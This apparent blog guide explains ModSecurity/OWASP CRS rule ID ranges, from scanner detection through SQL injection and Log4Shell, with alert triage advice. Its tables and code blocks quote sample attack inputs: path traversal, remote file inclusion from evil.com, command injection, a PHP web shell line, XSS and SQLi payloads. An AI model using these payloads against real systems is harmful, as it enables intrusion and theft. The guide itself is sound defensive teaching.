ModSecurity Rules Explained: A Field Guide to WAF Rule IDs

Introduction: The Cryptic World of Rule IDs

You’re staring at your shiny new ModSecurity dashboard. Everything looks great until you see entries like:

Rule: 941100
Rule: 920350
Rule: 932130

And you think: “What in the seven layers of the OSI model does that mean?”

Fear not, fellow security enthusiast. This guide will turn those cryptic numbers into actionable knowledge. By the end, you’ll be reading rule IDs like a security sommelier reads wine labels.


The OWASP Core Rule Set (CRS) Numbering System

The OWASP CRS uses a clever numbering system. The first three digits tell you the category of the rule:

Prefix Category What It Catches
9xx Protocol/Format HTTP protocol violations
91x Scanner Detection Automated tools & bots
92x Protocol Enforcement HTTP standards violations
93x Local File Inclusion (LFI) Path traversal attacks
94x Remote Attacks XSS, SQLi, RCE
95x Outbound Data leakage detection

Let’s dive deep into each category.


913xxx – Scanner Detection 🤖

“I know you’re a bot, and you know I know”

These rules detect automated scanning tools, vulnerability scanners, and web crawlers with malicious intent.

Rule ID What It Detects Real-World Example
913100 Known security scanner User-Agent Nikto, sqlmap, Nessus
913101 Scripting/generic HTTP client python-requests, curl/7.x
913102 Web crawler/bot Aggressive crawlers ignoring robots.txt
913110 Request headers associated with scanners Missing Accept header
913120 Request filename/argument associated with scanners /admin/config.php.bak

Why you see these: Someone is probing your site with automated tools. Could be a legitimate security researcher, a script kiddie, or your own forgotten pentest.

Pro tip: Rule 913100 catches tools that are too lazy to change their User-Agent. The smart attackers spoof it, so don’t rely solely on this.


920xxx – Protocol Enforcement 📋

“That’s not how HTTP works, buddy”

These rules enforce HTTP protocol standards. Violations often indicate malformed requests from bots or attack tools.

Rule ID What It Detects Why It Matters
920100 Invalid HTTP request line Malformed requests, often from scanners
920120 Attempted multipart/form-data bypass File upload shenanigans
920160 Content-Length header is not numeric Protocol violation, possible smuggling
920170 GET/HEAD request with body content Undefined behavior exploitation
920180 POST without Content-Length/Transfer-Encoding Incomplete request, possible attack
920200 Range header with too many fields DoS via Range header
920230 Multiple/conflicting Content-Type headers Request smuggling attempt
920260 Unicode full/half width abuse Encoding bypass attempt
920270 Invalid character in request Null bytes, control characters
920272 Invalid character in request (outside printable) Binary data in text fields
920280 Missing Host header Ancient HTTP/1.0 or malicious
920290 Empty Host header Definitely suspicious
920300 Missing Accept header Bots often forget this
920310 Empty Accept header Lazy bot
920320 Missing User-Agent header Very suspicious
920330 Empty User-Agent header Equally suspicious
920340 Missing Content-Type (with body) Malformed POST
920350 Host header is an IP address Often indicates direct scanning
920380 Too many arguments in request Possible buffer overflow attempt
920390 Total argument size exceeded Same as above
920400 Uploaded file size too large Potential DoS
920410 Total uploaded files size exceeded Definitely DoS
920420 Request content type not allowed Unexpected MIME type
920430 HTTP protocol version not allowed HTTP/0.9 is so 1991
920440 URL file extension restricted .exe, .dll, .bat etc.
920450 HTTP header restricted Forbidden headers
920460 Abnormal escape characters Encoding attacks
920470 Illegal Content-Type header Invalid MIME type
920480 Missing charset in Content-Type Can enable encoding attacks

Most common offenders:

  • 920350 – Bots accessing by IP instead of hostname
  • 920280 – Broken HTTP clients or very old tools
  • 920320 – Scripts that don’t set User-Agent

930xxx – Local File Inclusion (LFI) 📁

“Nice try accessing /etc/passwd”

These rules catch attempts to read local files through path traversal.

Rule ID What It Detects Attack Example
930100 Path traversal attack ../ ?file=../../../etc/passwd
930110 Path traversal attack ..; ?file=..;/..;/etc/passwd
930120 OS file access attempt Direct /etc/passwd reference
930130 Restricted file access .htaccess, .git/config

The classic attack:

GET /download.php?file=../../../../etc/passwd HTTP/1.1

Why this is bad: If your app doesn’t validate file paths, attackers can read any file on the server. Database configs, SSH keys, you name it.


931xxx – Remote File Inclusion (RFI) 🌐

“No, I won’t include your malicious PHP file”

Rule ID What It Detects Attack Example
931100 Possible RFI attack (URL parameter) ?page=http://evil.com/shell.php
931110 Possible RFI attack (common names) ?include=http://...
931120 Possible RFI attack (URL with trailing ?) PHP include bypass tricks
931130 Possible RFI attack (off-domain reference) Including external resources

The attack:

GET /index.php?page=http://evil.com/backdoor.txt HTTP/1.1

If your PHP code does include($_GET['page']), you’re having a very bad day.


932xxx – Remote Code Execution (RCE) 💀

“The ‘game over’ category”

These are the big scary ones. RCE means an attacker can run arbitrary commands on your server.

Rule ID What It Detects Attack Example
932100 Unix command injection ; cat /etc/passwd
932105 Unix command injection (common evasion) \cat /etc/passwd“
932106 Unix command injection (common evasion) $(cat /etc/passwd)
932110 Windows command injection & dir c:\
932115 Windows PowerShell injection powershell -enc ...
932120 Windows PowerShell command Invoke-Expression
932130 Unix shell expression ${IFS} and friends
932140 Windows FOR/IF command Batch file tricks
932150 Direct Unix command execution wget, curl, nc
932160 Unix shell code Shellshock patterns
932170 Shellshock (CVE-2014-6271) () { :; };
932171 Shellshock (CVE-2014-6271) Variant patterns
932180 Restricted file upload attempt .php, .asp uploads
932190 Wildcard bypass attempt cat /etc/pas?wd

The classic:

GET /ping.php?host=127.0.0.1;cat+/etc/passwd HTTP/1.1

If you see 932xxx alerts frequently: Either you’re under active attack, or your application has some interesting input handling.


933xxx – PHP Injection 🐘

“PHP: Making life interesting since 1994”

Rule ID What It Detects What It Means
933100 PHP injection attack <?php system($_GET['cmd']); ?>
933110 PHP injection (opening tag) <?, <?php in inputs
933111 PHP injection (short tag) <?= shorthand
933120 PHP injection (config directive) php://filter/
933130 PHP variable reference $_GET, $_POST, $_REQUEST
933140 PHP I/O stream php://input, php://stdin
933150 PHP function name eval(), exec(), system()
933160 PHP high-risk functions base64_decode, gzinflate
933170 PHP serialization O:8:"stdClass":
933180 PHP variable function call $var() dynamic calls
933190 PHP closing tag ?> in input
933200 PHP wrapper attack expect://, zip://
933210 PHP object injection Serialized objects

941xxx – Cross-Site Scripting (XSS) 🎭

“JavaScript where it shouldn’t be”

Rule ID What It Detects Attack Example
941100 XSS attack detected via libinjection Sophisticated pattern matching
941110 XSS filter (basic) <script>alert(1)</script>
941120 XSS filter (event handlers) onmouseover=alert(1)
941130 XSS filter (attribute-based) <img src=x onerror=alert(1)>
941140 XSS filter (JavaScript URI) javascript:alert(1)
941150 XSS filter (HTML attributes) Various attribute vectors
941160 NoScript XSS InjectionChecker Advanced patterns
941170 NoScript XSS InjectionChecker More patterns
941180 Node-validator blacklist Node.js specific
941190 XSS using stylesheets `
` injection
941200 XSS using VML frames IE-specific vectors
941210 XSS using obfuscated JavaScript \x3cscript\x3e
941220 XSS using obfuscated VB Script IE/VBScript vectors
941230 XSS using embed tag Flash/plugin vectors
941240 XSS using import or implementation XML namespace tricks
941250 IE XSS filters Internet Explorer specific
941260 XSS using meta tag <meta http-equiv="refresh">
941270 XSS using link href Stylesheet injection
941280 XSS using base tag Base URL hijacking
941290 XSS using applet tag Java applet vectors
941300 XSS using object tag Object embedding
941310 US-ASCII malformed encoding XSS Charset tricks
941320 HTML tag handler XSS Event handler patterns
941330 IE XSS Filters (basic) More IE patterns
941340 IE XSS Filters (enhanced) Even more IE patterns
941350 UTF-7 encoding XSS +ADw-script+AD4-
941360 JSFuck/Hieroglyphy obfuscation [][(![]+[])[+[]]...
941370 JavaScript global variable window., document.
941380 AngularJS client-side template injection {{constructor.constructor('alert(1)')()}}

Fun fact: 941360 catches JSFuck, which encodes JavaScript using only []()!+. Because apparently that’s a thing people do.


942xxx – SQL Injection (SQLi) 💉

“Bobby Tables strikes again”

Rule ID What It Detects Attack Example
942100 SQLi attack via libinjection Advanced pattern matching
942110 SQLi (tautology) ' OR '1'='1
942120 SQLi (operator detection) UNION SELECT, CONCAT()
942130 SQLi (logical expressions) 1=1, a=a tautologies
942140 SQLi (common DB names) information_schema, sys.
942150 SQLi (common function names) BENCHMARK(), SLEEP()
942160 SQLi (blind, using sleep/benchmark) Time-based injection
942170 SQLi (conditional injection) CASE WHEN...
942180 SQLi (authentication bypass) admin'--, ' OR 1=1--
942190 SQLi (code execution) xp_cmdshell, EXEC()
942200 SQLi (comment/space obfuscation) /**/, /*!...*/
942210 SQLi (chained injection) ;DROP TABLE users--
942220 SQLi (integer overflow) Large numbers causing issues
942230 SQLi (conditional probing) Blind injection patterns
942240 SQLi (charset switching) Encoding tricks
942250 SQLi (MATCH AGAINST) MySQL fulltext abuse
942260 SQLi (authentication bypass, 2/3) More bypass patterns
942270 SQLi (basic injection) Simple patterns
942280 SQLi (pg_sleep, waitfor delay) Time-based for PostgreSQL/MSSQL
942290 SQLi (MongoDB) NoSQL injection
942300 SQLi (MySQL comment) # and -- comments
942310 SQLi (chained, 2/2) More chained patterns
942320 SQLi (stored procedure) CALL, EXECUTE
942330 SQLi (classic probing) ', ", ) testing
942340 SQLi (authentication bypass, 3/3) Even more bypasses
942350 SQLi (MySQL UDF injection) User-defined functions
942360 SQLi (concatenation) CONCAT, ||, +
942370 SQLi (classic probing, 2/2) More testing patterns
942380 SQLi (basic) Simple SQL patterns
942390 SQLi (basic, 2/2) More simple patterns
942400 SQLi (comment sequence) --, #, /*
942410 SQLi (basic, 3/3) Yet more patterns
942420 SQL hex encoding 0x41424344
942430 Restricted anomaly detection Character anomalies
942440 SQL comment sequence Comment patterns
942450 SQL hex encoding (2/2) More hex patterns
942460 Meta character anomaly Unusual characters
942470 SQLi (function injection) SQL function calls
942480 SQLi (function injection, 2/2) More functions
942490 SQLi (classic, PostgreSQL) PostgreSQL specific
942500 MySQL in-line comment /*!50000 ...*/

The classic:

' OR '1'='1' --
' UNION SELECT username, password FROM users --
'; DROP TABLE users; --

943xxx – Session Fixation 🔐

“Identity theft, HTTP edition”

Rule ID What It Detects
943100 Session fixation attack (cookie)
943110 Session fixation attack (SessionID in URL)
943120 Session fixation attack (external referrer)

944xxx – Java Attacks ☕

“Enterprise vulnerabilities for enterprise applications”

Rule ID What It Detects Real World
944100 Remote command execution (Java) OGNL injection
944110 Remote command execution (Java serialization) Deserialization RCE
944120 Remote command execution (Log4Shell!) ${jndi:ldap://...}
944130 Suspicious Java class Dangerous class loading
944200 Java serialization (Apache Commons) Commons-collections gadgets
944210 Java serialization (base64) Encoded payloads
944240 Remote command execution (Java, CVE-2017-9805) Struts2 RCE
944250 Remote command execution (Java, Spring4Shell) CVE-2022-22965

Note: 944120 is the Log4Shell detection. If you see this in 2024+, someone is still trying that attack. It worked very well in December 2021.


Paranoia Levels 🎚️

CRS rules have “Paranoia Levels” (PL1-PL4):

Level Description False Positive Risk
PL1 Default, low false positives Low
PL2 More rules, some FPs Medium
PL3 Aggressive, more FPs High
PL4 Maximum paranoia Very High

Higher paranoia = more detection = more false positives. Choose wisely.


Quick Reference Card

913xxx = Scanner Detection    "I see you, Nikto"
920xxx = Protocol Issues      "That's not valid HTTP"
930xxx = Local File Include   "No reading /etc/passwd"
931xxx = Remote File Include  "No including evil.com/shell.php"
932xxx = Remote Code Exec     "No running commands"
933xxx = PHP Injection        "No injecting PHP"
941xxx = XSS                  "No JavaScript injection"
942xxx = SQL Injection        "Bobby Tables detected"
943xxx = Session Fixation     "No stealing sessions"
944xxx = Java Attacks         "No Log4Shell for you"

What To Do When You See Alerts

  1. Single alert, random IP: Probably automated scanning. Ignore unless persistent.

  2. Multiple alerts, same IP: Someone is actively probing. Consider blocking.

  3. 941xxx + 942xxx combo: Classic attack pattern. They’re testing for XSS and SQLi.

  4. 932xxx alerts: Take seriously. Someone wants shell access.

  5. 944120 (Log4Shell): In 2024? Really? Block and move on.

  6. 920xxx only: Likely a misconfigured bot or broken client, not necessarily malicious.


Conclusion

ModSecurity rules are like a security guard’s handbook – each number tells a story. Now when you see 941100 in your logs, you don’t just see a number – you see an attempted XSS attack that libinjection caught.

Use this knowledge to:

  • Prioritize alerts (932xxx > 941xxx > 920xxx for severity)
  • Understand attack patterns
  • Fine-tune your WAF rules
  • Impress your colleagues at security meetings

Remember: Every blocked attack is a story of what could have been. And thanks to your WAF (and this guide), those stories have happy endings.


Stay secure, stay curious, and may your audit logs be ever in your favor.

Happy Defending! 🛡️


Appendix: Most Common Rules You’ll See

Rule What It Is Worry Level
920350 Host header is IP 🟢 Low
920280 Missing Host header 🟢 Low
913100 Known scanner 🟡 Medium
941100 XSS detected 🟠 High
942100 SQLi detected 🟠 High
932100 Command injection 🔴 Critical
944120 Log4Shell 🔴 Critical

Note: Worry levels assume the attack was blocked. If it got through… well, you have bigger problems.

Leave a Reply

Your email address will not be published. Required fields are marked *